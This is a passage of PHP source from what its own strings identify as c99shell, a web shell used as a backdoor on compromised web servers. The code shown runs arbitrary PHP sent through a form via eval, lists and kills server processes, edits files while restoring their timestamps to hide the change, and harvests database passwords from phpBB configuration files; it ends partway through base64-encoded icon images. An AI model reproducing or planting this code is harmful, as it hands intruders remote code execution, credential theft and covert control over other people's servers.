2266 | foreach($dpsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";} |
---|
2267 | ?></select> <input type=submit name=dpsubmit value="Run"></form><b>Note:</b> sources will be downloaded from remote server.<?php |
---|
2268 | } |
---|
2269 | if ($act == "processes") |
---|
2270 | { |
---|
2271 | echo "<b>Processes:</b><br>"; |
---|
2272 | if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");} |
---|
2273 | else {$handler = "tasklist";} |
---|
2274 | $ret = myshellexec($handler); |
---|
2275 | if (!$ret) {echo "Can't execute \"".$handler."\"!";} |
---|
2276 | else |
---|
2277 | { |
---|
2278 | if (empty($processes_sort)) {$processes_sort = $sort_default;} |
---|
2279 | $parsesort = parsesort($processes_sort); |
---|
2280 | if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} |
---|
2281 | $k = $parsesort[0]; |
---|
2282 | if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} |
---|
2283 | else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} |
---|
2284 | $ret = htmlspecialchars($ret); |
---|
2285 | if (!$win) |
---|
2286 | { |
---|
2287 | if ($pid) |
---|
2288 | { |
---|
2289 | if (is_null($sig)) {$sig = 9;} |
---|
2290 | echo "Sending signal ".$sig." to #".$pid."... "; |
---|
2291 | if (posix_kill($pid,$sig)) {echo "OK.";} |
---|
2292 | else {echo "ERROR.";} |
---|
2293 | } |
---|
2294 | while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} |
---|
2295 | $stack = explode("\n",$ret); |
---|
2296 | $head = explode(" ",$stack[0]); |
---|
2297 | unset($stack[0]); |
---|
2298 | for($i=0;$i<count($head);$i++) |
---|
2299 | { |
---|
2300 | if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";} |
---|
2301 | } |
---|
2302 | $prcs = array(); |
---|
2303 | foreach ($stack as $line) |
---|
2304 | { |
---|
2305 | if (!empty($line)) |
---|
2306 | { |
---|
2307 | echo "<tr>"; |
---|
2308 | $line = explode(" ",$line); |
---|
2309 | $line[10] = join(" ",array_slice($line,10)); |
---|
2310 | $line = array_slice($line,0,11); |
---|
2311 | if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";} |
---|
2312 | $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; |
---|
2313 | $prcs[] = $line; |
---|
2314 | echo "</tr>"; |
---|
2315 | } |
---|
2316 | } |
---|
2317 | } |
---|
2318 | else |
---|
2319 | { |
---|
2320 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} |
---|
2321 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} |
---|
2322 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} |
---|
2323 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} |
---|
2324 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} |
---|
2325 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} |
---|
2326 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} |
---|
2327 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} |
---|
2328 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} |
---|
2329 | while (ereg("",$ret)) {$ret = str_replace("","",$ret);} |
---|
2330 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} |
---|
2331 | $ret = convert_cyr_string($ret,"d","w"); |
---|
2332 | $stack = explode("\n",$ret); |
---|
2333 | unset($stack[0],$stack[2]); |
---|
2334 | $stack = array_values($stack); |
---|
2335 | $head = explode("",$stack[0]); |
---|
2336 | $head[1] = explode(" ",$head[1]); |
---|
2337 | $head[1] = $head[1][0]; |
---|
2338 | $stack = array_slice($stack,1); |
---|
2339 | unset($head[2]); |
---|
2340 | $head = array_values($head); |
---|
2341 | if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} |
---|
2342 | else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} |
---|
2343 | if ($k > count($head)) {$k = count($head)-1;} |
---|
2344 | for($i=0;$i<count($head);$i++) |
---|
2345 | { |
---|
2346 | if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";} |
---|
2347 | } |
---|
2348 | $prcs = array(); |
---|
2349 | foreach ($stack as $line) |
---|
2350 | { |
---|
2351 | if (!empty($line)) |
---|
2352 | { |
---|
2353 | echo "<tr>"; |
---|
2354 | $line = explode("",$line); |
---|
2355 | $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]); |
---|
2356 | $line[2] = intval(str_replace(" ","",$line[2]))*1024; |
---|
2357 | $prcs[] = $line; |
---|
2358 | echo "</tr>"; |
---|
2359 | } |
---|
2360 | } |
---|
2361 | } |
---|
2362 | $head[$k] = "<b>".$head[$k]."</b>".$y; |
---|
2363 | $v = $processes_sort[0]; |
---|
2364 | usort($prcs,"tabsort"); |
---|
2365 | if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);} |
---|
2366 | $tab = array(); |
---|
2367 | $tab[] = $head; |
---|
2368 | $tab = array_merge($tab,$prcs); |
---|
2369 | echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">"; |
---|
2370 | foreach($tab as $i=>$k) |
---|
2371 | { |
---|
2372 | echo "<tr>"; |
---|
2373 | foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";} |
---|
2374 | echo "</tr>"; |
---|
2375 | } |
---|
2376 | echo "</table>"; |
---|
2377 | } |
---|
2378 | } |
---|
2379 | if ($act == "eval") |
---|
2380 | { |
---|
2381 | if (!empty($eval)) |
---|
2382 | { |
---|
2383 | echo "<b>Result of execution this PHP-code</b>:<br>"; |
---|
2384 | $tmp = ob_get_contents(); |
---|
2385 | $olddir = realpath("."); |
---|
2386 | @chdir($d); |
---|
2387 | if ($tmp) |
---|
2388 | { |
---|
2389 | ob_clean(); |
---|
2390 | eval($eval); |
---|
2391 | $ret = ob_get_contents(); |
---|
2392 | $ret = convert_cyr_string($ret,"d","w"); |
---|
2393 | ob_clean(); |
---|
2394 | echo $tmp; |
---|
2395 | if ($eval_txt) |
---|
2396 | { |
---|
2397 | $rows = count(explode("\r\n",$ret))+1; |
---|
2398 | if ($rows < 10) {$rows = 10;} |
---|
2399 | echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; |
---|
2400 | } |
---|
2401 | else {echo $ret."<br>";} |
---|
2402 | } |
---|
2403 | else |
---|
2404 | { |
---|
2405 | if ($eval_txt) |
---|
2406 | { |
---|
2407 | echo "<br><textarea cols=\"122\" rows=\"15\" readonly>"; |
---|
2408 | eval($eval); |
---|
2409 | echo "</textarea>"; |
---|
2410 | } |
---|
2411 | else {echo $ret;} |
---|
2412 | } |
---|
2413 | @chdir($olddir); |
---|
2414 | } |
---|
2415 | else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}} |
---|
2416 | echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\"> Display in text-area <input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>"; |
---|
2417 | } |
---|
2418 | if ($act == "f") |
---|
2419 | { |
---|
2420 | if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") |
---|
2421 | { |
---|
2422 | if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";} |
---|
2423 | else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";} |
---|
2424 | } |
---|
2425 | else |
---|
2426 | { |
---|
2427 | $r = @file_get_contents($d.$f); |
---|
2428 | $ext = explode(".",$f); |
---|
2429 | $c = count($ext)-1; |
---|
2430 | $ext = $ext[$c]; |
---|
2431 | $ext = strtolower($ext); |
---|
2432 | $rft = ""; |
---|
2433 | foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} |
---|
2434 | if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} |
---|
2435 | if (empty($ft)) {$ft = $rft;} |
---|
2436 | $arr = array( |
---|
2437 | array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"), |
---|
2438 | array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"), |
---|
2439 | array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"), |
---|
2440 | array("Code","code"), |
---|
2441 | array("Session","phpsess"), |
---|
2442 | array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"), |
---|
2443 | array("SDB","sdb"), |
---|
2444 | array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"), |
---|
2445 | array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"), |
---|
2446 | array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"), |
---|
2447 | array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"), |
---|
2448 | array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit") |
---|
2449 | ); |
---|
2450 | echo "<b>Viewing file: <img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\"> ".$f." (".view_size(filesize($d.$f)).") ".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>"; |
---|
2451 | foreach($arr as $t) |
---|
2452 | { |
---|
2453 | if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";} |
---|
2454 | elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";} |
---|
2455 | else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";} |
---|
2456 | echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |"; |
---|
2457 | } |
---|
2458 | echo "<hr size=\"1\" noshade>"; |
---|
2459 | if ($ft == "info") |
---|
2460 | { |
---|
2461 | echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>"; |
---|
2462 | if (!$win) |
---|
2463 | { |
---|
2464 | echo "<tr><td><b>Owner/Group</b></td><td> "; |
---|
2465 | $ow = posix_getpwuid(fileowner($d.$f)); |
---|
2466 | $gr = posix_getgrgid(filegroup($d.$f)); |
---|
2467 | echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); |
---|
2468 | } |
---|
2469 | echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>"; |
---|
2470 | $fi = fopen($d.$f,"rb"); |
---|
2471 | if ($fi) |
---|
2472 | { |
---|
2473 | if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));} |
---|
2474 | else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} |
---|
2475 | $n = 0; |
---|
2476 | $a0 = "00000000<br>"; |
---|
2477 | $a1 = ""; |
---|
2478 | $a2 = ""; |
---|
2479 | for ($i=0; $i<strlen($str); $i++) |
---|
2480 | { |
---|
2481 | $a1 .= sprintf("%02X",ord($str[$i]))." "; |
---|
2482 | switch (ord($str[$i])) |
---|
2483 | { |
---|
2484 | case 0: $a2 .= "<font>0</font>"; break; |
---|
2485 | case 32: |
---|
2486 | case 10: |
---|
2487 | case 13: $a2 .= " "; break; |
---|
2488 | default: $a2 .= htmlspecialchars($str[$i]); |
---|
2489 | } |
---|
2490 | $n++; |
---|
2491 | if ($n == $hexdump_rows) |
---|
2492 | { |
---|
2493 | $n = 0; |
---|
2494 | if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";} |
---|
2495 | $a1 .= "<br>"; |
---|
2496 | $a2 .= "<br>"; |
---|
2497 | } |
---|
2498 | } |
---|
2499 | //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";} |
---|
2500 | echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>"; |
---|
2501 | } |
---|
2502 | $encoded = ""; |
---|
2503 | if ($base64 == 1) |
---|
2504 | { |
---|
2505 | echo "<b>Base64 Encode</b><br>"; |
---|
2506 | $encoded = base64_encode(file_get_contents($d.$f)); |
---|
2507 | } |
---|
2508 | elseif($base64 == 2) |
---|
2509 | { |
---|
2510 | echo "<b>Base64 Encode + Chunk</b><br>"; |
---|
2511 | $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); |
---|
2512 | } |
---|
2513 | elseif($base64 == 3) |
---|
2514 | { |
---|
2515 | echo "<b>Base64 Encode + Chunk + Quotes</b><br>"; |
---|
2516 | $encoded = base64_encode(file_get_contents($d.$f)); |
---|
2517 | $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); |
---|
2518 | } |
---|
2519 | elseif($base64 == 4) |
---|
2520 | { |
---|
2521 | $text = file_get_contents($d.$f); |
---|
2522 | $encoded = base64_decode($text); |
---|
2523 | echo "<b>Base64 Decode"; |
---|
2524 | if (base64_encode($encoded) != $text) {echo " (failed)";} |
---|
2525 | echo "</b><br>"; |
---|
2526 | } |
---|
2527 | if (!empty($encoded)) |
---|
2528 | { |
---|
2529 | echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>"; |
---|
2530 | } |
---|
2531 | echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b> |
---|
2532 | <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>] </nobr> |
---|
2533 | <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>] </nobr> |
---|
2534 | <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>] </nobr> |
---|
2535 | <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>] </nobr> |
---|
2536 | <P>"; |
---|
2537 | } |
---|
2538 | elseif ($ft == "html") |
---|
2539 | { |
---|
2540 | if ($white) {@ob_clean();} |
---|
2541 | echo $r; |
---|
2542 | if ($white) {c99shexit();} |
---|
2543 | } |
---|
2544 | elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";} |
---|
2545 | elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";} |
---|
2546 | elseif ($ft == "phpsess") |
---|
2547 | { |
---|
2548 | echo "<pre>"; |
---|
2549 | $v = explode("|",$r); |
---|
2550 | echo $v[0]."<br>"; |
---|
2551 | var_dump(unserialize($v[1])); |
---|
2552 | echo "</pre>"; |
---|
2553 | } |
---|
2554 | elseif ($ft == "exe") |
---|
2555 | { |
---|
2556 | $ext = explode(".",$f); |
---|
2557 | $c = count($ext)-1; |
---|
2558 | $ext = $ext[$c]; |
---|
2559 | $ext = strtolower($ext); |
---|
2560 | $rft = ""; |
---|
2561 | foreach($exeftypes as $k=>$v) |
---|
2562 | { |
---|
2563 | if (in_array($ext,$v)) {$rft = $k; break;} |
---|
2564 | } |
---|
2565 | $cmd = str_replace("%f%",$f,$rft); |
---|
2566 | echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>"; |
---|
2567 | } |
---|
2568 | elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";} |
---|
2569 | elseif ($ft == "code") |
---|
2570 | { |
---|
2571 | if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) |
---|
2572 | { |
---|
2573 | $arr = explode("\n",$r); |
---|
2574 | if (count($arr == 18)) |
---|
2575 | { |
---|
2576 | include($d.$f); |
---|
2577 | echo "<b>phpBB configuration is detected in this file!<br>"; |
---|
2578 | if ($dbms == "mysql4") {$dbms = "mysql";} |
---|
2579 | if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";} |
---|
2580 | else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. Please, report us for fix.";} |
---|
2581 | echo "Parameters for manual connect:<br>"; |
---|
2582 | $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); |
---|
2583 | foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";} |
---|
2584 | echo "</b><hr size=\"1\" noshade>"; |
---|
2585 | } |
---|
2586 | } |
---|
2587 | echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">"; |
---|
2588 | if (!empty($white)) {@ob_clean();} |
---|
2589 | highlight_file($d.$f); |
---|
2590 | if (!empty($white)) {c99shexit();} |
---|
2591 | echo "</div>"; |
---|
2592 | } |
---|
2593 | elseif ($ft == "download") |
---|
2594 | { |
---|
2595 | @ob_clean(); |
---|
2596 | header("Content-type: application/octet-stream"); |
---|
2597 | header("Content-length: ".filesize($d.$f)); |
---|
2598 | header("Content-disposition: attachment; filename=\"".$f."\";"); |
---|
2599 | echo $r; |
---|
2600 | exit; |
---|
2601 | } |
---|
2602 | elseif ($ft == "notepad") |
---|
2603 | { |
---|
2604 | @ob_clean(); |
---|
2605 | header("Content-type: text/plain"); |
---|
2606 | header("Content-disposition: attachment; filename=\"".$f.".txt\";"); |
---|
2607 | echo($r); |
---|
2608 | exit; |
---|
2609 | } |
---|
2610 | elseif ($ft == "img") |
---|
2611 | { |
---|
2612 | $inf = getimagesize($d.$f); |
---|
2613 | if (!$white) |
---|
2614 | { |
---|
2615 | if (empty($imgsize)) {$imgsize = 20;} |
---|
2616 | $width = $inf[0]/100*$imgsize; |
---|
2617 | $height = $inf[1]/100*$imgsize; |
---|
2618 | echo "<center><b>Size:</b> "; |
---|
2619 | $sizes = array("100","50","20"); |
---|
2620 | foreach ($sizes as $v) |
---|
2621 | { |
---|
2622 | echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">"; |
---|
2623 | if ($imgsize != $v ) {echo $v;} |
---|
2624 | else {echo "<u>".$v."</u>";} |
---|
2625 | echo "</a> "; |
---|
2626 | } |
---|
2627 | echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>"; |
---|
2628 | } |
---|
2629 | else |
---|
2630 | { |
---|
2631 | @ob_clean(); |
---|
2632 | $ext = explode($f,"."); |
---|
2633 | $ext = $ext[count($ext)-1]; |
---|
2634 | header("Content-type: ".$inf["mime"]); |
---|
2635 | readfile($d.$f); |
---|
2636 | exit; |
---|
2637 | } |
---|
2638 | } |
---|
2639 | elseif ($ft == "edit") |
---|
2640 | { |
---|
2641 | if (!empty($submit)) |
---|
2642 | { |
---|
2643 | if ($filestealth) {$stat = stat($d.$f);} |
---|
2644 | $fp = fopen($d.$f,"w"); |
---|
2645 | if (!$fp) {echo "<b>Can't write to file!</b>";} |
---|
2646 | else |
---|
2647 | { |
---|
2648 | echo "<b>Saved!</b>"; |
---|
2649 | fwrite($fp,$edit_text); |
---|
2650 | fclose($fp); |
---|
2651 | if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} |
---|
2652 | $r = $edit_text; |
---|
2653 | } |
---|
2654 | } |
---|
2655 | $rows = count(explode("\r\n",$r)); |
---|
2656 | if ($rows < 10) {$rows = 10;} |
---|
2657 | if ($rows > 30) {$rows = 30;} |
---|
2658 | echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\"> <input type=\"reset\" value=\"Reset\"> <input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>"; |
---|
2659 | } |
---|
2660 | elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";} |
---|
2661 | else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";} |
---|
2662 | } |
---|
2663 | } |
---|
2664 | } |
---|
2665 | else |
---|
2666 | { |
---|
2667 | @ob_clean(); |
---|
2668 | $images = array( |
---|
2669 | "arrow_ltr"=> |
---|
2670 | "R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ". |
---|
2671 | "SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", |
---|
2672 | "back"=> |
---|
2673 | "R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". |
---|
2674 | "aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". |
---|
2675 | "Wg0JADs=", |
---|
2676 | "buffer"=> |
---|
2677 | "R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". |
---|
2678 | "eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD". |
---|
2679 | "Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", |
---|
2680 | "change"=> |
---|
2681 | "R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". |
---|
2682 | "/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". |
---|
2683 | "AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". |
---|
2684 | "wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". |
---|
2685 | "CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". |
---|
2686 | "zMshADs=", |
---|
2687 | "delete"=> |
---|
2688 | "R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp". |
---|
2689 | "6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw". |
---|
2690 | "sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". |
---|
2691 | "vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl". |
---|
2692 | "ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA". |
---|
2693 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". |
---|
2694 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5". |
---|
2695 | "BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4". |
---|
2696 | "STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G". |
---|
2697 | "BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ". |
---|
2698 | "jwVFHBgiEGQFIgQasYkcSbJQIAA7", |
---|
2699 | "download"=> |
---|
2700 | "R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA". |
---|
2701 | "AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu". |
---|
2702 | "EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=", |
---|
2703 | "forward"=> |
---|
2704 | "R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". |
---|
2705 | "aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt". |
---|
2706 | "WqsJADs=", |
---|
2707 | "home"=> |
---|
2708 | "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA". |
---|
2709 | "AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS". |
---|
2710 | "krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j". |
---|
2711 | "VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=", |
---|
2712 | "mode"=> |
---|
2713 | "R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA". |
---|
2714 | "AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO". |
---|
2715 | "2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/". |
---|
